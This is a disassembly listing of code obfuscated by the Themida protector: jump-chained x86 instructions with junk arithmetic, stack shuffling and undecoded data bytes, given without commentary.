loc_54E502:				; CODE XREF: Themida_:0054D731j
					; Themida_:005508E3j
		add	esp, 4
		add	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5500F6
; ---------------------------------------------------------------------------
		db 81h
		dd 0DD75CAC1h, 81D90164h, 0DD75CAE9h, 0E9565B64h, 0FFFFEDF6h
; ---------------------------------------------------------------------------

loc_54E52C:				; CODE XREF: Themida_:0054B43Ej
		inc	ch
		xchg	al, ch
		dec	al
		xchg	al, ch
		not	ch
		jmp	loc_54B1A2
; ---------------------------------------------------------------------------
		align 4
		dd 0C8B66CBh, 2C48324h,	1F68C300h, 8900003Bh, 0B5512404h
		dd 0F3ED8079h, 0FFBA7CE9h, 4077FFFFh, 0FFA3C8E9h, 186856FFh
		dd 54000006h, 8124048Fh, 42404h, 0E95E0000h, 542Dh, 0EC81E189h
		dd 4, 56241489h, 0AF2DE6BEh, 2DEABA03h,	0EA8103AFh, 1B8E5C9Bh
		dd 0F7E9F229h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E59B:				; CODE XREF: Themida_:00550FAFj
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0E1273F6h
		not	esi
		add	esi, 1C3C570Ah
		jmp	loc_555ADE
; ---------------------------------------------------------------------------
		db 42h
		dd 1185BD55h, 77E9303Dh, 0F7FFFFE7h, 44A0E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E5CA:				; CODE XREF: Themida_:00550E4Ej
		sub	esp, 4
		jmp	loc_54D6C6
; ---------------------------------------------------------------------------

loc_54E5D2:				; CODE XREF: Themida_:0054EB16j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_54D02C
; ---------------------------------------------------------------------------
		db 53h,	50h, 54h
		dd 4BD5558h, 1000000h, 42D5DE8h, 33000000h, 4312404h, 0CA29E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E5FE:				; CODE XREF: Themida_:0054FF80j
		pop	edi
		jmp	loc_54A592
; ---------------------------------------------------------------------------

loc_54E604:				; CODE XREF: Themida_:0055258Dj
		add	[esp], eax
		pushf
		jmp	loc_551E67
; ---------------------------------------------------------------------------

loc_54E60D:				; CODE XREF: Themida_:00549B83j
		sub	esi, 1542Eh
		sub	ebx, esi
		jmp	loc_54B13D
; ---------------------------------------------------------------------------

loc_54E61A:				; CODE XREF: Themida_:0054E215j
		mov	edi, 5D9F4615h
		jmp	loc_555B29
; ---------------------------------------------------------------------------

loc_54E624:				; CODE XREF: Themida_:0054A332j
		jmp	loc_548929
; ---------------------------------------------------------------------------
		db 55h,	53h, 0BBh
		dd 5E8A1112h, 0C381E3D1h, 7258479Bh, 0BF1E9h
		db 0
; ---------------------------------------------------------------------------

loc_54E63D:				; CODE XREF: Themida_:0054CBD3j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		push	esp
		pop	esi
		jmp	loc_54B934
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
aPhZ		db 'PhяZ',0
		align 2
		dw 8F54h
		dd 4832404h, 48B0424h, 4C48324h, 405h, 6FBB5300h, 8118A416h
		dd 0A4166BEBh, 0E9D80118h, 0F60h
; ---------------------------------------------------------------------------

loc_54E67C:				; CODE XREF: Themida_:0054C339j
		mov	[esp], edx
		push	3280h
		mov	[esp], esp
		jmp	loc_55155F
; ---------------------------------------------------------------------------
		dd 0E904C483h, 2696h, 5E2434FFh, 0FFA51FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E69D:				; CODE XREF: Themida_:005553B7j
		add	dl, ch
		pop	cx
		mov	bh, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54F585
; ---------------------------------------------------------------------------
		db 66h,	81h, 6Ch
		dd 8740224h, 242C8B66h,	0C06E951h, 0C4830000h, 51C32904h
		dd 0C60BA52h, 0BE563332h, 285C5D3Eh, 46A8E9h, 0E9526600h
		dd 0E0h
; ---------------------------------------------------------------------------

loc_54E6E0:				; CODE XREF: Themida_:0054F834j
		sub	ecx, esi
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		push	2A44359Bh
		pop	esi
		xor	esi, 3E012D6Ah
		or	esi, 76D3458Eh
		ja	loc_54A42D
		jmp	loc_549A43
; ---------------------------------------------------------------------------
		db 81h
		dd 9628D5F3h, 0ED815D83h, 1, 2414F755h,	0B9ACE95Dh, 8951FFFFh
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 3A8BE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E742:				; CODE XREF: Themida_:0054BD66j
		add	esi, 0CC5DE7CEh
		mov	edx, esi
		pop	esi
		and	edi, edx
		jmp	loc_55573A
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 19589D1Ch, 0E99C2404h, 0FFFFA1C9h
; ---------------------------------------------------------------------------

loc_54E760:				; CODE XREF: Themida_:0054BE4Aj
		push	esi
		jmp	loc_549C80
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 49E9240Ch
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E76F:				; CODE XREF: Themida_:005524A1j
		push	eax
		mov	eax, esp
		jmp	loc_54F78F
; ---------------------------------------------------------------------------

loc_54E777:				; CODE XREF: Themida_:0054FE7Dj
		pop	esi
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_551E4C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0DE9240Ch
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E78F:				; CODE XREF: Themida_:0054F276j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 7C68605Dh
		jmp	loc_551488
; ---------------------------------------------------------------------------

loc_54E7A3:				; CODE XREF: Themida_:00555765j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_553425
; ---------------------------------------------------------------------------

loc_54E7B7:				; CODE XREF: Themida_:0055146Dj
					; Themida_:00555228j
		add	bl, 4Bh
		push	edx
		jmp	loc_54D750
; ---------------------------------------------------------------------------
		dd 0D028C2B2h, 0B8E95A66h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E7CB:				; CODE XREF: Themida_:0054EAD5j
					; Themida_:005530A2j
		pop	esi
		add	ebp, 412B05F8h
		add	ebp, 2CA2DA63h
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		push	0FBEh
		mov	[esp], ecx
		push	3849h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5493D5
; ---------------------------------------------------------------------------
		db 81h
		dd 0C376CFC6h, 0AEEE8129h, 581C3634h, 525EF201h, 0FFE6B7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E80D:				; CODE XREF: Themida_:0054AB42j
		xchg	ebp, [esp]
		jmp	loc_549999
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 0BDh
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_54E81B:				; CODE XREF: Themida_:005536FAj
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54CBD2
; ---------------------------------------------------------------------------

loc_54E83B:				; CODE XREF: Themida_:0054D4FFj
		sub	bl, dh
		pop	edx
		sub	bl, 73h
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54E84D:				; CODE XREF: Themida_:0054DC99j
		sub	ebx, 73414092h
		sub	ebx, 10BC23ADh
		jmp	loc_55096E
; ---------------------------------------------------------------------------

loc_54E85E:				; CODE XREF: Themida_:0054ED12j
		pop	ecx
		push	edx
		jmp	loc_54F751
; ---------------------------------------------------------------------------

loc_54E865:				; CODE XREF: Themida_:0054C328j
		xor	ebp, 0CA7EDEB0h
		mov	ebx, ebp
		pop	ebp
		sub	esi, ebx
		pop	ebx
		xor	eax, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_54F80F
; ---------------------------------------------------------------------------

loc_54E88F:				; CODE XREF: Themida_:0054D2AAj
		add	dword ptr [esp+4], 60EA4E6Ch
		add	[esp+4], eax
		sub	dword ptr [esp+4], 60EA4E6Ch
		mov	eax, [esp]
		add	esp, 4
		mov	esi, [esp]
		push	eax
		jmp	loc_553FDE
; ---------------------------------------------------------------------------

loc_54E8B5:				; CODE XREF: Themida_:00552AEBj
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 31483776h
		sub	edx, 53154BBCh
		jmp	loc_555BF7
; ---------------------------------------------------------------------------
aSd1		db ')яИ└1',0
		align 10h

loc_54E8D0:				; CODE XREF: Themida_:00550F07j
		add	cl, ah
		pop	eax
		jmp	loc_54BD7C
; ---------------------------------------------------------------------------
		dd 0AE5EFFBBh, 81DBF717h, 0AF1BF7EBh, 4EBC124h,	36A5F381h
		dd 0D829300Bh, 2C1AE9h
		db 0
; ---------------------------------------------------------------------------

loc_54E8F5:				; CODE XREF: Themida_:00552A9Cj
		mov	[esp], edx
		push	ebp
		jmp	loc_54B0C3
; ---------------------------------------------------------------------------

loc_54E8FE:				; CODE XREF: Themida_:0055507Cj
		mov	dh, 0C4h
		jmp	loc_54FA30
; ---------------------------------------------------------------------------
		db 0E9h, 22h, 20h
		dd 0C1010000h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5493C4
; ---------------------------------------------------------------------------
		dd 3AE7CB81h, 0D3F7761Fh, 0EDC3814Bh, 17E9F3Ah,	0C8C6E9DFh
		dd 8166FFFFh, 74022444h, 6C816608h, 0FDA0224h, 21C3E9h
		dd 5DF18100h, 89BA114Ch, 240C8BCAh, 4C481h, 0F6E90000h
		dd 89FFFFFBh, 0EDBE2434h, 576C4B35h, 62C6BB53h,	0DF8948BDh
		dd 5FFE215Bh, 32C3EE81h, 0EE812F07h, 1901EDFDh,	39E8C381h
		dd 0F3012903h, 39E8BE56h, 15E92903h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E997:				; CODE XREF: Themida_:005548C5j
		or	ecx, 399F30CBh
		jz	loc_54C23F
		not	ecx
		inc	ecx
		push	edx
		jmp	loc_548C1C
; ---------------------------------------------------------------------------

loc_54E9AC:				; CODE XREF: Themida_:00553C46j
		mov	edx, 0F32602A4h
		sub	ebp, edx
		pop	edx
		sub	[esp+4], ebp
		pop	ebp
		pop	ecx
		push	ebx
		jmp	loc_54F105
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 240C8700h, 22E1E9h
		db 0
; ---------------------------------------------------------------------------

loc_54E9D1:				; CODE XREF: Themida_:00550DDAj
		push	7110h
		mov	[esp], esp
		jmp	loc_54C233
; ---------------------------------------------------------------------------

loc_54E9DE:				; CODE XREF: Themida_:00549B2Cj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	edi, 50DB5F62h
		shr	edi, 5
		not	edi
		push	eax
		mov	eax, 70E209D9h
		shl	eax, 1
		or	eax, 419B676Ch
		jmp	loc_553714
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 0Fh
		dd 0C8BCA88h, 38AEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54EA1A:				; CODE XREF: Themida_:0054B022j
		mov	[esp], eax
		push	edx
		jmp	loc_54B0B4
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFB15FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EA29:				; CODE XREF: Themida_:0054CEEBj
		mov	ecx, 0
		jmp	loc_54F7DA
; ---------------------------------------------------------------------------
		db 81h
		dd 820C4DEAh, 0E0810F57h, 56FFFFE1h, 6754F3BEh,	37C9E928h
		dd 32B40000h, 0D806E958h, 0C580FFFFh, 7E5C08Bh,	0FFEF65E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EA5D:				; CODE XREF: Themida_:005512CAj
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_54FE73
; ---------------------------------------------------------------------------
		dd offset dword_57FF68
		dw 8900h
		dd 9FE9240Ch
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54EA7B:				; CODE XREF: Themida_:00554DB3j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5B103149h
		or	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 86E448B7h
		add	esi, 50D68FDh
		add	esi, ebx
		sub	esi, 50D68FDh
		pop	ebx
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_550FBC
		push	dword ptr [edi+1Ch]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 67B482Bh
		dec	esi
		or	esi, 2CDD4FF3h
		jmp	loc_5498F8
; ---------------------------------------------------------------------------

loc_54EAC7:				; CODE XREF: Themida_:005546BCj
		sub	ebx, 43EB6CA2h
		push	ebx
		sub	dword ptr [esp], 209B66BCh
		jmp	loc_54E7CB
; ---------------------------------------------------------------------------

loc_54EADA:				; CODE XREF: Themida_:0054C6D2j
		pop	bx
		jmp	loc_552862
; ---------------------------------------------------------------------------

loc_54EAE1:				; CODE XREF: Themida_:00554357j
		push	35DDh
		mov	[esp], edx
		mov	edx, 57194523h
		neg	edx
		jmp	loc_54F8E1
; ---------------------------------------------------------------------------

loc_54EAF5:				; CODE XREF: Themida_:00554446j
		dec	eax
		sub	eax, 1E238D7Dh
		or	esi, eax
		jmp	loc_551291
; ---------------------------------------------------------------------------

loc_54EB02:				; CODE XREF: Themida_:00550195j
		pop	ebx
		push	ebx
		sub	esp, 4
		push	esp
		jmp	loc_551A1C
; ---------------------------------------------------------------------------

loc_54EB0D:				; CODE XREF: Themida_:0054BD96j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54E5D2
; ---------------------------------------------------------------------------

loc_54EB1B:				; CODE XREF: Themida_:00555E46j
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4AB200ECh
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 7F2607CAh
		shr	eax, 8
		jmp	loc_549F9A
; ---------------------------------------------------------------------------
		dd 4A30F66h, 0CAE99C24h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EB5F:				; CODE XREF: Themida_:0054FC9Bj
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_548B1E
; ---------------------------------------------------------------------------

loc_54EB6D:				; CODE XREF: Themida_:00555C38j
		mov	edx, 0A07439Ah
		inc	edx
		jmp	loc_54DAA5
; ---------------------------------------------------------------------------
		dd 2164BE56h, 74293248h, 34FF0424h, 2434FF24h, 8B2434FFh
		dd 0C4812434h, 4, 8304C483h, 0C48104C4h, 4, 8324048Bh
		dd 640504C4h, 0E9324821h, 0FFFF9D79h
; ---------------------------------------------------------------------------

loc_54EBB0:				; CODE XREF: Themida_:00552EFBj
		push	ebx
		mov	ebx, esp
		jmp	loc_5543BE
; ---------------------------------------------------------------------------
		dd 4C4835Dh, 0FF9D68E9h, 0C8B66FFh, 4EC8124h, 89000000h
		dd 0E189240Ch, 4EC8350h, 0BA241489h, 4,	15AD089h, 0BE5658C1h
		dd 2, 34FFF101h, 0C4815E24h, 4,	2474FF51h, 2434FF04h, 0D396E959h
		dd 0EF81FFFFh, 14F503E6h, 4079E9h, 0FDB95100h, 81064A71h
		dd 102DDAE9h, 0B8E9814Dh, 315107FDh, 0F00159CEh, 0BFBF575Eh
		dd 0E90EB22Bh, 3E1Ah
; ---------------------------------------------------------------------------

loc_54EC30:				; CODE XREF: Themida_:0054D228j
		add	ebx, 479701DCh
		jmp	loc_54F220
; ---------------------------------------------------------------------------
		db 29h
		dd 0E9815BD9h, 0A5142A9Bh, 98E9CB01h, 8BFFFFD8h, 0A4E9242Ch
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EC53:				; CODE XREF: Themida_:00549DB1j
		neg	esi
		xor	esi, 0F3D70F39h
		mov	edx, esi
		pop	esi
		dec	edx
		xor	edx, 4C002EB0h
		not	edx
		jmp	loc_54B2EC
; ---------------------------------------------------------------------------
		dd 24048B66h, 504168h, 241C8900h, 0E957E389h, 26A1h
; ---------------------------------------------------------------------------

loc_54EC80:				; CODE XREF: Themida_:00555C5Ej
		add	edx, eax
		push	ebx
		mov	ebx, 1175FCBh
		sub	ebx, 7C931518h
		xor	ebx, 5F0D16B6h
		push	edx
		mov	edx, 9C5DABDBh
		add	ebx, edx
		pop	edx
		sub	edx, ebx
		mov	ebx, [esp]
		push	esi
		jmp	loc_54F9DD
; ---------------------------------------------------------------------------
		dd 535BFD30h, 0EBC057B3h, 0D7EB8003h, 3F8BE9h
		db 0
; ---------------------------------------------------------------------------

loc_54ECB9:				; CODE XREF: Themida_:0054D263j
		pop	esi
		xor	esi, ebx
		jmp	loc_549CC3
; ---------------------------------------------------------------------------

loc_54ECC1:				; CODE XREF: Themida_:005549ABj
		mov	ebp, 69FC10D8h
		sub	ebp, 305C67AAh
		jmp	loc_54FAB8
; ---------------------------------------------------------------------------
		db 51h,	50h, 0B8h
		dd 2B4504F5h, 0B49BB951h, 0C829E6A9h, 58C18959h, 41BE181h
		dd 0C18143E4h, 27436097h, 60ADE981h, 0CF8967C3h, 5FFA0159h
		dd 183268h, 16D1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54ED06:				; CODE XREF: Themida_:0054A20Bj
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_54E85E
; ---------------------------------------------------------------------------

loc_54ED17:				; CODE XREF: Themida_:00550D37j
		mov	esi, 439FAC24h
		jmp	loc_55059C
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 2
		dd 4EC81h, 3C890000h, 2474FF24h, 48F5F04h, 24248B24h, 24048B66h
		dd 55E08950h, 0C9679FBDh, 147CE96Ah, 0EC810000h, 4, 66241C89h
		dd 661EDCBBh, 21A0CB81h, 2EC81h, 89660000h, 9E92434h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54ED6B:				; CODE XREF: Themida_:005530FAj
		inc	ebx
		add	ebx, 55235375h
		sub	ebx, 714ED077h
		jmp	loc_54D904
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 7Ch
		dd 29FDAA73h, 2434FFF1h, 0E389535Eh, 4C381h, 0C3830000h
		dd 241C8704h, 27842D5Ch, 0C8011955h, 55278405h,	240C8B19h
		dd 709EE9h, 48B6600h, 0C5ACE924h, 0E681FFFFh, 5A38111Fh
		dd 115EE681h, 0E68141C0h, 5F213032h, 0CE9BE952h, 5751FFFFh
		dd 6C35BEBFh, 5BB5318h,	814CED51h, 0D5747EC3h, 82E9577Ch
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EDE7:				; CODE XREF: Themida_:0054F91Dj
		sub	esi, edx
		jmp	loc_549539
; ---------------------------------------------------------------------------

loc_54EDEE:				; CODE XREF: Themida_:0054F9D8j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], edx
		push	esi
		push	7A6711A3h
		jmp	loc_54E071
; ---------------------------------------------------------------------------

loc_54EE0A:				; CODE XREF: Themida_:0054F880j
		mov	si, ax
		mov	eax, [esp]
		add	esp, 4
		and	si, 33B7h
		or	si, 2975h
		jnz	loc_54BF81
		or	si, 5FB7h
		ja	loc_54AB47
		mov	dh, 9Ch
		push	eax

loc_54EE32:				; CODE XREF: Themida_:0054F580j
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	esi
		jmp	loc_548B32
; ---------------------------------------------------------------------------

loc_54EE4B:				; CODE XREF: Themida_:0054A3EDj
		mov	[esp], ebx
		jmp	loc_552A54
; ---------------------------------------------------------------------------

loc_54EE53:				; CODE XREF: Themida_:0055418Aj
		push	esp
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 2
		jmp	loc_552952
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFFE12Eh
; ---------------------------------------------------------------------------

loc_54EE6C:				; CODE XREF: Themida_:00549D71j
					; Themida_:0054E229j
		xchg	edi, [esp]
		jmp	loc_553B02
; ---------------------------------------------------------------------------

loc_54EE74:				; CODE XREF: Themida_:0054D96Cj
		mov	[esp], edx
		mov	edx, 80h
		and	ecx, edx
		mov	edx, [esp]
		push	edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_548953
; ---------------------------------------------------------------------------

loc_54EE8E:				; CODE XREF: Themida_:0054B2C6j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	ebx, 2EB1586Eh
		sub	ebx, eax
		sub	ebx, 2EB1586Eh
		sub	ebx, 7D4A0E9Eh
		jmp	loc_549514
; ---------------------------------------------------------------------------
		db 8Bh
		dd 48682404h, 0E9000032h, 0FFFFDA96h
; ---------------------------------------------------------------------------

loc_54EEC0:				; CODE XREF: Themida_:00553C3Dj
					; Themida_:00555A89j
		mov	edi, esp
		add	edi, 4
		jmp	loc_54A7C0
; ---------------------------------------------------------------------------
		db 59h,	33h, 4
		dd 24043124h, 8B240433h, 0B60F2424h, 0E28952C8h, 5FBE5657h
		dd 4612A557h, 6EEC146h,	1A5CE81h, 0DEF73C10h, 69FFEE81h
		dd 0F789C3A5h, 0E9FA015Eh, 0FFFFEE6Ah
; ---------------------------------------------------------------------------

loc_54EF04:				; CODE XREF: Themida_:00549221j
		add	ebp, esi
		pop	esi
		jmp	loc_551E87
; ---------------------------------------------------------------------------
		dd 4C681h, 0C6810000h, 4, 1F80E9h
		db 0
; ---------------------------------------------------------------------------

loc_54EF1D:				; CODE XREF: Themida_:0055514Fj
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_5507AF
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 50000000h, 582404FFh, 0E906E0C1h, 0FFFFB6A7h
; ---------------------------------------------------------------------------

loc_54EF44:				; CODE XREF: Themida_:00555432j
		push	469Eh
		mov	[esp], edx
		mov	edx, ebp
		sub	esp, 4
		jmp	loc_54B633
; ---------------------------------------------------------------------------

loc_54EF56:				; CODE XREF: Themida_:00549534j
		mov	eax, 0A8DB267Ch
		sub	ecx, eax
		pop	eax
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55341D
; ---------------------------------------------------------------------------
		db 83h
		dd 892C04C4h, 0FFD7A4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EF79:				; CODE XREF: Themida_:0054B3EBj
		pop	esp
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	ebx
		jmp	loc_54DE0A
; ---------------------------------------------------------------------------

loc_54EF92:				; CODE XREF: Themida_:0055353Fj
		xor	ecx, 20E75E67h
		inc	ecx
		xor	ecx, 0C0E0EC0Bh
		sub	ebx, 1BE44D6h
		jmp	loc_548D5E
; ---------------------------------------------------------------------------

loc_54EFAA:				; CODE XREF: Themida_:0054DC19j
		xor	ebx, 27CD5618h
		jmp	loc_549020
; ---------------------------------------------------------------------------

loc_54EFB5:				; CODE XREF: Themida_:0054C8F0j
		add	esi, edx
		pop	edx
		sub	esi, edi
		sub	esi, 3C9504E2h
		mov	edi, [esp]
		add	esp, 4
		and	eax, esi
		pop	esi
		or	eax, eax
		jnz	loc_54DCF3
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_551C6D
; ---------------------------------------------------------------------------

loc_54EFE4:				; CODE XREF: Themida_:0055475Cj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5550E7
		push	25CEh
		mov	[esp], eax
		push	4858h
		mov	[esp], ecx
		push	esi
		mov	esi, 573D14A7h
		mov	ecx, esi
		pop	esi
		mov	eax, 0A8C2EB59h
		add	eax, ecx
		pop	ecx
		push	eax
		push	7D07h
		mov	[esp], ebp
		mov	ebp, 3C780259h
		xor	[esp+4], ebp
		pop	ebp
		pop	dword ptr [edi+20h]
		xor	dword ptr [edi+20h], 3C780259h
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5550E0
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 1AE9240Ch, 81FFFFF5h, 0FF042444h, 12DE467h, 8104244Ch
		dd 0FF04246Ch, 812DE467h, 89042444h, 0E906814Bh, 0FFFFF0CEh
		dd 2779BB53h, 0F1BF2344h, 315D181Ah, 0CF295BDFh, 5FF90159h
		dd 8B240C87h, 4302424h,	9EE99C24h, 81FFFF98h, 4ECh, 24348900h
		dd 0FFFD35E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F099:				; CODE XREF: Themida_:005521E4j
		neg	ebp
		jg	loc_54FC31
		xor	ebp, 641101Fh
		jg	loc_552164
		add	ebp, 6D646BC4h
		jbe	loc_5551F2
		push	eax
		push	edi
		push	42066F08h
		mov	edi, [esp]
		add	esp, 4
		dec	edi
		shl	edi, 3
		add	edi, 0EC11D375h
		push	edi
		jmp	loc_552D6F
; ---------------------------------------------------------------------------
		dw 3AB8h
		dd 90F9546h, 14A4E9C5h,	2F050000h, 0C103E238h, 400506E8h
		dd 174EF02h, 0BF51E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F0F6:				; CODE XREF: Themida_:00552D3Cj
		pop	ebx
		add	bl, ah
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		jmp	loc_552BE9
; ---------------------------------------------------------------------------

loc_54F105:				; CODE XREF: Themida_:0054E9BBj
		mov	ebx, 2CC93BDBh
		add	ecx, 59C5246h
		add	ecx, ebx
		sub	ecx, 59C5246h
		pop	ebx
		push	edx
		push	esi
		mov	esi, 1
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	ecx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebx
		jmp	loc_5490FF
; ---------------------------------------------------------------------------

loc_54F137:				; CODE XREF: Themida_:0054D669j
		add	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_54CEB9
; ---------------------------------------------------------------------------

loc_54F14B:				; CODE XREF: Themida_:005496B7j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 3D163EA7h
		jl	loc_55208B
		sub	ebp, 0BD165EB6h
		push	ebp
		mov	edx, [esp]
		add	esp, 4
		pop	ebx

loc_54F16B:				; CODE XREF: Themida_:0054F6AAj
		sub	bl, 0B8h
		sub	bl, 0B0h
		add	bl, cl
		jmp	loc_54924D
; ---------------------------------------------------------------------------
		dd 8ADBBE56h, 0F2895727h, 0FFFCE1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F185:				; CODE XREF: Themida_:00553879j
		push	1852h
		mov	[esp], esi
		push	edi
		mov	edi, 5DEF4112h
		dec	edi
		xor	edi, 7CA37C21h
		push	edi
		jmp	loc_552E39
; ---------------------------------------------------------------------------
		dd 0E9BFED80h, 0FFFFAA0Dh
; ---------------------------------------------------------------------------

loc_54F1A8:				; CODE XREF: Themida_:005507F9j
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		push	5A19h
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54978E
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 33240C31h, 248B240Ch, 0BE0F6624h, 5819E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F1E6:				; CODE XREF: Themida_:00555F62j
		jmp	loc_548929
; ---------------------------------------------------------------------------
		db 5Dh
		dd 42Dh, 24043300h, 33240431h, 0E95C2404h, 0FFFFE5D2h
; ---------------------------------------------------------------------------

loc_54F200:				; CODE XREF: Themida_:0054CCB5j
		mov	dl, al
		pop	eax
		pop	ecx
		add	bl, 0A3h
		add	bl, dl
		sub	bl, 0A3h
		pop	dx
		sub	bl, ah
		jmp	loc_55532E
; ---------------------------------------------------------------------------

loc_54F215:				; CODE XREF: Themida_:loc_54D413j
		add	edx, 0F1B5CE1h
		jmp	loc_550624
; ---------------------------------------------------------------------------

loc_54F220:				; CODE XREF: Themida_:0054EC36j
		add	ebx, 3BBB60DBh
		mov	ebp, ebx
		pop	ebx
		jmp	loc_550B06
; ---------------------------------------------------------------------------
		dw 0DD89h
		dd 0F7E5D15Bh, 0C94E9DDh, 0B9510000h, 3DDA4FE5h, 4244481h
		dd 182C6BF1h, 4244C01h,	54A6E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F251:				; CODE XREF: Themida_:0054B78Fj
					; Themida_:0054D6D4j
		pop	ebx
		add	ebx, 7BD48004h
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		movzx	ax, byte ptr [eax]
